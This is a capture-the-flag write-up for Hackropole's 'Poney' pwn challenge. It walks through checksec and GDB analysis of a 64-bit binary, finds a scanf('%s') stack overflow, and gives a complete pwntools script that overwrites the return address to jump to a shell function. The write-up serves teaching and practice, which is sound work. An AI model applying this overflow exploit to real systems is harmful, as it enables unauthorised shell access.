Poney | Hackropole
Poney | Hackropole
Poney
Ressources
Link : Hackropole/pwn/poney
Files :
docker-compose.yml
poney
Analysis
informations
1
2
3
4
5
6
file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped
checksec --file=poney
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 poney
No canary
NX enabled
No PIE
Vuln search
First, lets read the code to see vulnerabilities.
in GDB we already know what will be the goal of the exploit :
1
2
3
gef➤ info functions
0x0000000000400676 shell
0x0000000000400689 main
I save the shell’s address for later.
Here the interesting main’s code :
1
2
3
4
5
lea rax,[rbp-0x20]
mov rsi,rax
lea rdi,[rip+0xea] # 0x4007b5
mov eax,0x0
call 0x400570 <__isoc99_scanf@plt>
The buffer is set with 32 bytes [0x20].
When doing a breakpoint on the scanf
function, we see that the format string passed is %s
.
1
2
3
4
b *__isoc99_scanf
r
─── registers ────
$rdi : 0x00000000004007b5 → 0x443b031b01007325 ("%s"?)
It confirm that it will read until it encounter a null byte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Give me the correct input, and I will give you a shell:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
0x00007fffffffd938│+0x0000: "CCCCCCCCDDDDDDDD" ← $rsp
x/x $rsp+8
0x7fffffffd940: 0x44444444
info frame
Stack level 0, frame at 0x7fffffffd940:
rip = 0x4006db in main; saved rip = 0x4343434343434343
Arglist at 0x4242424242424242, args:
Locals at 0x4242424242424242, Previous frame's sp is 0x7fffffffd940
Saved registers:
rbp at 0x7fffffffd930, rip at 0x7fffffffd938
it confirm that we can control RIP with an offset off 40 bytes
Exploit
First, I prepare the payload :
1
2
3
4
5
offset = 32 + 8
shell = p64(0x0000000000400676)
payload = b""
payload += b"A" * offset
payload += shell
To finish I just send the payload on the service and go interactive :
1
2
3
4
5
print("[<]", target.recvuntil(b">>> "))
print(f"[>] {payload}")
target.sendline(payload)
target.interactive()
Complete exploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import *
import argparse
def get_args():
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-?", "--help", action="help", help="show this help message and exit")
parser.add_argument("-l", "--local", help="File path to the binary", type=str)
parser.add_argument("-p", "--port", help="Remote port", type=int)
parser.add_argument("-h", "--host", help="Remote host", type=str)
args = parser.parse_args()
return args
def main(args):
if args.local:
target = process(args.local)
elif args.host and args.port:
target = remote(args.host, args.port)
offset = 32 + 8
shell = p64(0x0000000000400676)
payload = b""
payload += b"A" * offset
payload += shell
print("[<]", target.recvuntil(b">>> "))
print(f"[>] {payload}")
target.sendline(payload)
target.interactive()
exit(0)
if __name__ == "__main__":
args = get_args()
main(args)
Getting flag
1
2
3
4
5
6
7
8
./exploit.py -h 127.0.0.1 -p 4000
[+] Opening connection to 127.0.0.1 on port 4000: Done
[<] b'Give me the correct input, and I will give you a shell:\n>>> '
[>] b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ cat flag.txt
FCSC{725d.............}
This post is licensed under CC BY 4.0 by the author.